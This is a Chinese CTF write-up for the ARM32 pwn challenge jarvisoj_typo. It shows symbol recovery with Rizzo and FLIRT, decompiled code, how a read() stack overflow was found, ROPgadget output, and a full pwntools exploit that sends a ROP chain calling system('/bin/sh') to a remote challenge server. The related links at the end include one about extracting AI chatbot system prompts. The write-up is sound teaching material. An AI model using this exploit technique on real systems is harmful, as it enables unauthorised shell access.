BUU刷题-Pwn-jarvisoj_typo(ARM符号表恢复技术,Rizzo,FLIRT)

news2024/11/29 3:44:18

解题所涉知识点:

泄露或修改内存数据:

  1. 堆地址:
  2. 栈地址:
  3. libc地址:
  4. BSS段地址:
    劫持程序执行流程:ARM_ROP
    获得shell或flag:调用程序中的system

题目类型:
ARM_Pwn arm32
无符号表Pwn

相关知识点:

IDA插件Rizzo
IDA的FLIRT工具的使用
ROPgadget的使用
IDA远程调试异架构程序

题目信息:
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/jarvisoj_typo]
└─$ checksec --file=typo 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified   Fortifiable     FILE
Full RELRO      No canary found   NX enabled    No PIE          N/A        N/A          No Symbols      N/A     0  0typo
                                                                                                                    
┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/jarvisoj_typo]
└─$ file typo   
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped

libc版本:
wp借鉴:ARM架构下的 buffer overflow 初探_arm架构下的buffer-CSDN博客
arm-pwn入门 丨 tw11ty’s Blog (tweety-blog.cn)
关于学习arm架构下的pwn的总结 - ZikH26 - 博客园 (cnblogs.com)
通过一道ARM PWN题引发的思考:jarvisOJ_typo_jarvisoj环境搭建-CSDN博客
arm-pwn 学习 · De4dCr0w’s Blog

信息收集

运行后分析程序行为:


在输入回车后就可以开始进行多次交互了!

核心伪代码分析:

由于没有符号表的存在所以只能先从start函数起步:

存在利用的的代码:

// positive sp value has been detected, the output may be wrong!
void __noreturn start(int a1, int a2, int a3, int a4, ...)
{
  int v4; // r0
  va_list va; // [sp+0h] [bp+0h] BYREF

  va_start(va, a4);
  v4 = (sub_9EBC)(sub_8F00, va, sub_A5EC, sub_A68C, a1, va);
  (sub_F0E0)(v4);
}

发现这个结构就类似于__libc_start_main()函数,我们就可以由此找到main函数了,或者根据前面的字符串来寻找主函数的位置!


找到主函数:

int __fastcall sub_8F00(int a1, int a2)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v17 = 0;
  v16 = 0;
  sub_11D04(off_A1538, 0, 2, 0, a2, a1);
  sub_11D04(off_A1534[0], 0, 2, 0, v9, v10);
  v2 = sub_22240(1, "Let's Do Some Typing Exercise~\nPress Enter to get start;\nInput ~ if you want to quit\n", 'V');
  if ( sub_12170(v2) != 10 )
    sub_FBD4(-1);
  sub_22240(1, "------Begin------", 17);
  v3 = sub_214CC(0);
  v4 = sub_FE28(v3);
  v15 = sub_21474(v4);
  do
  {
    ++v17;
    v14 = sub_10568() % 4504;
    sub_11338("\n%s\n", &aAbandon[20 * v14]);
    v5 = sub_8D24(&aAbandon[20 * v14]);
    v13 = v5;
    if ( !v5 )
    {
      v5 = sub_11AC0("E.r.r.o.r.");
      ++v16;
    }
  }
  while ( v13 != 2 );
  v12 = sub_21474(v5);
  v6 = sub_9428(v12 - v15);
  v11 = sub_9770(v6, HIDWORD(v6), 0, 1093567616);
  sub_22240(1, "------END------", 15);
  sub_11F80(10);
  sub_8DF0(v17 - 1, v16, v11, HIDWORD(v11));
  sub_11AC0("Bye");
  return v7;
}

我们可以根据动态调试分析出哪些函数是输入,当我们调试时如果程序陷入等待的话就代表这个函数是一个输入函数!

使用IDA的符号表恢复技术:
IDA的Rizzo插件:

项目:

  • Reverier-Xu/Rizzo-IDA:移植到 IDA 7.4+ 的 Rizzo 插件 — Reverier-Xu/Rizzo-IDA: Rizzo plugin ported to IDA 7.4+ (github.com)
  • fireundubh/IDA7-Rizzo: Rizzo plugin by devttys0, ported to IDA 7 (github.com)
  • 魔改 Rizzo 恢复二进制符号 - Byaidu - 博客园 (cnblogs.com)
  • 再谈逆向工程中的函数识别 - 简书 (jianshu.com)

这里又很多arm文件:[原创] CTF 中 ARM & AArch64 架构下的 Pwn-Pwn-看雪-安全社区|安全招聘|kanxue.com

恢复符号表的尝试Rizzo:

使用Rizzo匹配armlibc2.39的符号表匹配出的函数比较多!

发现armlibc2.26匹配的也比较多!

IDA的FLIRT功能:

存储的libc的sig文件:
sig-database/ubuntu/libc6/10.10 (maverick) at master · push0ebp/sig-database (github.com)

教程:

  • IDA FLIRT使用 - Bl0od - 博客园 (cnblogs.com)
  • arm ida 伪代码 安卓 符号表_IDA 制作 sig文件 && gdb 导入符号表-CSDN博客

SDK工具下载:

  • [推荐]IDA Pro 7.7 SDK-资源下载-看雪-安全社区|安全招聘|kanxue.com

制作sig文件:
ELF64文件逆向分析知识—[2]制作静态库SIG_flair制作sigs-CSDN博客
IDA 高级功能使用 之 制作signature —— 识别库函数 - thinkycx.me

IDA的FLIRT恢复符号表,恢复的效果不明显:

发现虽然都又符号被恢复但是sytem函数并未被恢复,所以最后直接使用了这里的idb:ctf-challenges/pwn/arm/jarvisOJ_typo/typo.idb at master · ctf-wiki/ctf-challenges (github.com)
导出riz文件,恢复符号表,所以符号表不要期望恢复太多!

加上函数分析:

  sub_22240(1, "Let's Do Some Typing Exercise~\nPress Enter to get start;\nInput ~ if you want to quit\n", 'V', v2);
...
  sub_22240(1, "------Begin------", 0x11, 0xA);

这两个函数就是输出函数然后三个参数和write函数很匹配!
进入内部去看:

void __fastcall sub_22240(void *a1, void *a2, void *a3, void *a4)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  if ( dword_A3094 )
  {
    v7 = sub_23ED8();
    v8 = linux_eabi_syscall(4, a1, a2, a3, a4, v4, v5, v6);
    sub_23F98(v7);
    if ( v8 >= 0xFFFFF000 )
      goto LABEL_5;
  }
  else if ( linux_eabi_syscall(4, a1, a2, a3, a4, v4, v5, v6) >= 0xFFFFF000 )
  {
LABEL_5:
    JUMPOUT(0xFFFF0FE0);
  }
}

也可以发现linux_eabi_syscall这个函数,代表这个函数属于系统调用:linux_eabi_syscall系统调用编号表 - 简书 (jianshu.com)
更加确定了它write的身份!

...
    sub_11338("\n%s\n", &aAbandon[20 * v12]);
...

发现这个参数里面又格式化字符串,大概率就是printf函数了!

int sub_11338(const char *a1, ...)
{
  va_list varg_r1; // [sp+14h] [bp-Ch] BYREF

  va_start(varg_r1, a1);
  return sub_32F84(off_A1534[0], a1, varg_r1);
}

这个函数的结构就是printf了!

然后我将这些猜测的数据丢给gpt后几乎就生成了正确的函数名:

这是c语言伪代码,你可以大胆的修改为合适的函数名不要怕错误,我只是参考一下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  idx = 0;
  v15 = 0;
  sub_11D04(stdin, 0, 2, 0);
  sub_11D04(stdio[0], 0, 2, 0);
  write(1, "Let's Do Some Typing Exercise~\nPress Enter to get start;\nInput ~ if you want to quit\n", 'V', v3);
  if ( sub_12170() != '\n' )
    sub_FBD4(-1);
  write(1, "------Begin------", 0x11, '\n');
  v4 = time_0(0);
  sub_FE28(v4);
  v5 = sub_21474();
  v14 = v5;
  do
  {
    ++idx;
    num = setutxent_0(v5, v6) % 0x1198;
    printf("\n%s\n", &aAbandon[20 * num]);
    v5 = sub_8D24(&aAbandon[20 * num]);
    v12 = v5;
    if ( !v5 )
    {
      v5 = sub_11AC0("E.r.r.o.r.");
      ++v15;
    }
  }
  while ( v12 != 2 );
  v11 = sub_21474();
  v7 = sub_9428(v11 - v14);
  v10 = sub_9770(v7, HIDWORD(v7), 0, 1093567616);
  write(1, "------END------", 0xF, v10);
  sub_11F80(10);
  sub_8DF0(idx - 1, v15, v10, SHIDWORD(v10));
  sub_11AC0("Bye");
  return v8;
}

GPT的回答:
好的,我会根据你的代码提供一些合理的命名修改,让代码更加易读和清晰。以下是修改后的版本:

#include <stdio.h>
#include <time.h>
#include <unistd.h>

// 假设这些是你在程序其他地方定义的函数
void initialize_stream(FILE *stream, int arg1, int arg2, int arg3);
void error_exit(int code);
int get_input();
void process_time(time_t time_value);
int generate_random_value();
int calculate_result(const char *input);
int display_error_message(const char *message);
int compute_difference(int value);
float calculate_score(int diff, int arg1, int arg2, float base);
void display_statistics(int completed, int errors, float score);

int main(int argc, const char **argv, const char **envp)
{
    int idx = 0;
    int error_count = 0;
    int random_value, start_time, end_time;
    int result, time_diff;
    float score;
    
    initialize_stream(stdin, 0, 2, 0);
    initialize_stream(stdout, 0, 2, 0);
    
    write(1, "Let's Do Some Typing Exercise~\nPress Enter to get started;\nInput ~ if you want to quit\n", 81);
    
    if (get_input() != '\n')
        error_exit(-1);

    write(1, "------Begin------\n", 17);
    
    start_time = time(0);
    process_time(start_time);
    
    random_value = generate_random_value();
    int initial_random_value = random_value;

    do
    {
        idx++;
        int num = random_value % 4504; // 假设0x1198等于十进制的4504
        printf("\n%s\n", &aAbandon[20 * num]);
        
        result = calculate_result(&aAbandon[20 * num]);
        
        if (!result)
        {
            result = display_error_message("E.r.r.o.r.");
            error_count++;
        }
    }
    while (result != 2);
    
    end_time = generate_random_value();
    time_diff = compute_difference(end_time - initial_random_value);
    score = calculate_score(time_diff, 0, 0, 1093567616.0);

    write(1, "------END------\n", 15);
    
    sleep(10); // 模拟等待
    display_statistics(idx - 1, error_count, score);
    
    display_error_message("Bye");

    return 0;
}

根据GPT生成的代码继续验证!如果手动去找漏洞的话还是比较复杂的所以直接手动实现!

直接把函数丢给gpt让它猜代码,这个函数大胆猜测一下这是什么函数他是C语言库里的:

找到目标函数漏洞:

int __fastcall calculate_result(unsigned __int8 *randstr)
{
  unsigned int len; // r0
  int len_1; // r4
  int input[28]; // [sp+Ch] [bp-70h] BYREF

  memset_0(input, 0, 0x64u);
  read(0, input, &unk_200, input);              // 存在溢出
  len = strlen_0(randstr);                      // a1是传入进来的字符串
  if ( !memcmp(randstr, input, len) )           // 字符串对比
  {
    len_1 = strlen_0(randstr);
    if ( len_1 == strlen_0(input) - 1 )
      return 1;
  }
  if ( LOBYTE(input[0]) == '~' )                // 如果
    return 2;
  return 0;
}

存在溢出!

分析:

通过IDA动态调试锁定输入函数并且识别出read函数存在溢出漏洞!

.text:00008D4C SUB     R3, R11, #-input
.text:00008D50 MOV     R0, #0
.text:00008D54 MOV     R1, R3
.text:00008D58 MOV     R2, #0x200
.text:00008D5C BL      read

开始动态调试确定溢出长度!成功确定出溢出长度为112.

Gadgets获取:

获取gadgets:

┌──(kali㉿kali)-[~//Pwn/BUU/ARM/jarvisoj_typo]
└─$ ROPgadget --binary typo --only "pop"
Gadgets information
============================================================
0x00008d1c : pop {fp, pc}
0x00020904 : pop {r0, r4, pc}
0x00068bec : pop {r1, pc}
0x00008160 : pop {r3, pc}
0x0000ab0c : pop {r3, r4, r5, pc}
0x0000a958 : pop {r3, r4, r5, r6, r7, pc}
0x00008a3c : pop {r3, r4, r5, r6, r7, r8, fp, pc}
0x0000a678 : pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x00008520 : pop {r3, r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00068c68 : pop {r3, r4, r5, r6, r7, r8, sl, pc}
0x00014a70 : pop {r3, r4, r7, pc}
0x00008de8 : pop {r4, fp, pc}
0x000083b0 : pop {r4, pc}
0x00008eec : pop {r4, r5, fp, pc}
0x00009284 : pop {r4, r5, pc}
0x000242e0 : pop {r4, r5, r6, fp, pc}
0x000095b8 : pop {r4, r5, r6, pc}
0x000212ec : pop {r4, r5, r6, r7, fp, pc}
0x000082e8 : pop {r4, r5, r6, r7, pc}
0x00043110 : pop {r4, r5, r6, r7, r8, fp, pc}
0x00011648 : pop {r4, r5, r6, r7, r8, pc}
0x00048e9c : pop {r4, r5, r6, r7, r8, sb, fp, pc}
0x0000a5a0 : pop {r4, r5, r6, r7, r8, sb, pc}
0x0000870c : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x00011c24 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x000553cc : pop {r4, r5, r6, r7, r8, sl, pc}
0x00023ed4 : pop {r4, r5, r7, pc}
0x00023dbc : pop {r4, r7, pc}
0x00014068 : pop {r7, pc}

Unique gadgets found: 29

发现这个gadget正好可以传参和调用system函数:0x00020904 : pop {r0, r4, pc}

获取/bin/sh

┌──(kali㉿kali)-[~/…/Pwn/BUU/ARM/jarvisoj_typo]
└─$ ROPgadget --binary typo --string "bin/sh"
Strings information
============================================================
0x0006c385 : bin/sh

这个函数是system:

int __fastcall sub_110B4(int a1)
{
  if ( a1 )
    return sub_10BA8(a1);
  else
    return sub_10BA8("exit 0") == 0;
}

地址是:

.text:000110B4 00 00 50 E3                   CMP     R0, #0
.text:000110B8 00 00 00 0A                   BEQ     loc_110C0
.text:000110B8
.text:000110BC B9 FE FF EA                   B       sub_10BA8

攻击思路总结

通过IDA动态调试和符号表恢复找到目标函数,存在read函数溢出
再通过pwndbg来计算栈溢出的长度是112
再通过RopGadgets找到gadget,用来传参和调用函数
由于是静态程序就一定会存在很多字符串和system函数找到地址然后就是利用了!

脚本:
import argparse
from pwn import *
from LibcSearcher import *

# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()

pwnfile = './typo'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux')

is_remote = args.r
is_debug = args.d

if is_remote:
    sh = remote('node5.buuoj.cn', 26456)
else:
    if is_debug:
        sh = process(["qemu-arm", "-g", "1234", pwnfile])
    else:
        sh = process(["qemu-arm", pwnfile])

def mygdb():
    if not is_remote and is_debug:
        gdb.attach(sh, """target remote localhost:1234
        		b *0x8DE8
        		""")  # brva 0xe93 b *0x4008c0
mygdb()
offset=112
pop_r0_r4_pc_addr=0x00020904
bin_sh_addr=0x0006c384
sys_addr=0x00010BA8
sh.send('\n')
payload=offset*b'a'+p32(pop_r0_r4_pc_addr)+p32(bin_sh_addr)+p32(0)+p32(sys_addr)
sh.sendline(payload)
sh.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2215932.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Android Framework AMS(04)startActivity分析-1(am启动到ActivityThread启动)

该系列文章总纲链接&#xff1a;专题总纲目录 Android Framework 总纲 本章关键点总结 & 说明&#xff1a; 说明&#xff1a;本章节主要解读AMS通过startActivity启动Activity的整个流程的第一阶段&#xff1a;从am启动到ActivityThread启动。 第二阶段文章链接为&#xf…

如何破解 AI 聊天机器人让它们吐露秘密!窥探 AI 系统指令的 10 种技巧

​ 有时&#xff0c;为了确保 AI 的安全性和透明性&#xff0c;用户需要自己动手&#xff0c;揭开系统指令的面纱。 如果人工智能现在已经成为生活中的事实&#xff0c;并影响着我们的福祉&#xff0c;人们理应知道它的运作原理。 对一些人来说&#xff0c;科幻电影中的经典…

【C++进阶】封装红黑树实现map和set

【C进阶】封装红黑树实现map和set &#x1f955;个人主页&#xff1a;开敲&#x1f349; &#x1f525;所属专栏&#xff1a;C&#x1f96d; &#x1f33c;文章目录&#x1f33c; 1. 源码及框架分析 2. 模拟实现map和set 2.1 实现出复用红黑树的框架&#xff0c;并支持insert…

《TH-OCR:强大的光学字符识别技术》

在当今数字化的时代&#xff0c;高效准确地将纸质文档、图片中的文字转换为可编辑的电子文本至关重要。而 TH-OCR&#xff08;清华 OCR&#xff09;就是一款在光学字符识别领域表现卓越的软件。 一、TH-OCR 的简介 TH-OCR 是由清华大学电子工程系智能图文信息处理研究室研发的光…

Loss:CornerNet: Detecting Objects as Paired Keypoints

目录 3 CornerNet(角点网络)3.1 概述3.2 检测角点3.2.1 检测角点概述3.2.2 训练中的惩罚调整3.2.3 焦点损失变体计算3.2.4 下采样与偏移量预测3.3 角点分组3.3.1 角点分组的需求与启发3.3.2 关联嵌入在角点分组中的应用3.3.3 “拉近”损失和“推开”损失计算3.4 角点池化3.4.…

echarts饼图前后端代码SpringCloud+Vue3

♥️作者&#xff1a;小宋1021 &#x1f935;‍♂️个人主页&#xff1a;小宋1021主页 ♥️坚持分析平时学习到的项目以及学习到的软件开发知识&#xff0c;和大家一起努力呀&#xff01;&#xff01;&#xff01; &#x1f388;&#x1f388;加油&#xff01; 加油&#xff01…

【网络通信基础与实践第五讲】由浅入深了解路由器的结构设计

我们要实现网络互连&#xff0c;需要一个设备&#xff0c;这个设备可以实现将数据从一个端口转发到另外一个端口&#xff0c;从而实现信息的交换&#xff0c;这个设备就是路由器。 知道了路由器的功能需求&#xff0c;我们就要设计对应的结构来满足这样的需求从而实现相应的功…

【数据结构笔记】图Graph

目录 物理结构 邻接矩阵 矩阵压缩 关联矩阵 邻接表 邻接多重表 图搜索 广度优先搜索BFS 边分类 连通域分解 无权最短路径 深度优先搜索DFS 边分类 双连通分量 优先级优先搜索PFS 单源最短路径问题 Dijkstra算法 Bellman-Ford算法 所有结点对最短路径问题 Fl…

Python语言核心12个必知语法细节

1. 变量和数据类型 Python是动态类型的&#xff0c;变量不需要声明类型。 python复制代码 a 10 # 整数 b 3.14 # 浮点数 c "Hello" # 字符串 d [1, 2, 3] # 列表 2. 条件语句 使用if, elif, else进行条件判断。 python复制代码 x 10 if x > 5: print(&q…

获取首日涨停封盘后第二次交易日上涨/下跌的概率

有许多投资者喜欢在股票涨停封盘后&#xff0c;跟进买入。普通股民会认为一个能在今日涨停封盘的股票&#xff0c;证明其上市公司正有十分重大的利好信息&#xff0c;只需要跟进购买便可以获取短期利益。 我们用数据来看一下在当日涨停封盘后&#xff0c;第二次交易日是上涨还…

JavaWeb——Vue:打包部署(Nginx、目录介绍、部署及启动、访问 )

目录 打包 部署 Nginx 目录介绍 部署及启动 访问 前端 Vue 项目的最后一步是打包部署。在当前前后端分离的开发模式中&#xff0c;前端开发人员开发前端代码&#xff0c;后端开发人员开发后端代码。最终要将开发及测试完毕的前端 Vue 代码和后端代码分开部署在对应的服…

pulsar mq 单体验证demo, docker启动pulsar mq验证生产者消费者命令

1. 进入pulsar # 进入容器 docker exec -it xxx /bin/bash # 进入脚本 cd bin 2. 消费命令&#xff1a; ./pulsar-client consume my-topic -s "fist-subscription" 3. 新增一个创建&#xff0c;重复上述操作&#xff0c;进入bin文件夹&#xff0c;输入生产者命令…

JavaSE——集合9:Map接口实现类—HashTable

目录 一、HashTable基本介绍 二、HashTable底层源码解析 1.初始化数组长度为11&#xff0c;临界值为8(0.75*11)&#xff0c;加载因子是0.75 2.对存放的值进行自动装箱 3.执行put方法 4.计算key的hash值 5.计算索引值&#xff0c;放入table数组中 6.插入重复的key会被替…

VMware安装Ubuntu虚拟系统

1、准备工作 1&#xff09;下载并安装好VMware虚拟软件&#xff1b; 2&#xff09;下载Ubuntu系统镜像文件。建议下载LTS长期支持版本&#xff0c;下载地址&#xff1a; Ubuntu系统下载 | Ubuntu 2、安装Ubuntux系统 2.1、新建虚拟机 打开VMware软件&#xff0c;在右侧“…

住房公积金 计算器-java方法

计算了一下房贷压力&#xff0c;以全额公积金贷款为例&#xff0c;贷款四十万&#xff0c;等额本金方式还款&#xff0c;房贷利率为2.85%&#xff0c;基本情况就是如下&#xff1a; 还款总额达到 提前还款的好处 按三十年计算&#xff0c;如果第一年借用亲朋好友的钱&#x…

无mac通过iOS Dev Center生成打包证书完整流程

很多人第一次使用uniapp打包ios APP应用的时候&#xff0c;都会遇到一个问题&#xff0c;就是如何生成打包证书。 看了uniapp官网的教程&#xff0c;教程上看到是在iOS Dev Center上创建证书&#xff0c;但是过程中却要求我们使用macOS系统来创建csr文件和p12文件。但是我们没…

【ChatGLM4系列】入门介绍以及API调用

目录 前言一、ChatGLM41-1、模型介绍1-2、关键概念1-3、场景示例1-4、模型概览 二、快速开始2-1、安装2-2、Demo案例2-3、请求参数2-4、异步调用 三、模型工具3-1、通用Web搜索3-2、函数调用3-3、增强检索3-4、文件问答 总结 前言 GLM 全名 General Language Model &#xff0c…

数据可视化-使用python制作词云图(附代码)

想象一下&#xff0c;当你写完一篇日记或者一篇文章后&#xff0c;想要知道里面哪些词语出现得最多。这时候&#xff0c;词云图就能派上用场了。它会统计出文章里每个词语出现的次数&#xff0c;然后把这些词语以不同大小的字体展示出来&#xff0c;出现次数越多的词语&#xf…

免费打工人必备工具箱

下载地址&#xff1a;https://pan.quark.cn/s/356d7f201d7a 图片处理工具 格式转换&#xff1a;轻松转换图片格式&#xff0c;满足不同需求。 ICO转换&#xff1a;将图片转换为ICO格式&#xff0c;适用于图标设计。 图片压缩&#xff1a;无损压缩图片&#xff0c;减小文件大小…

Oracle中解决select into值集为空的报错情况

先看为空的情况 procedure test is n number; begin select 1 into n from CUX_2_OM_RELEASE_LIMIT_V cov where cov.Customer_Idnull; end; CUX_2_OM_RELEASE_LIMIT_V中没有id是空的&#xff0c;因此返回的结果一定是空集 运行结果: 有时候我…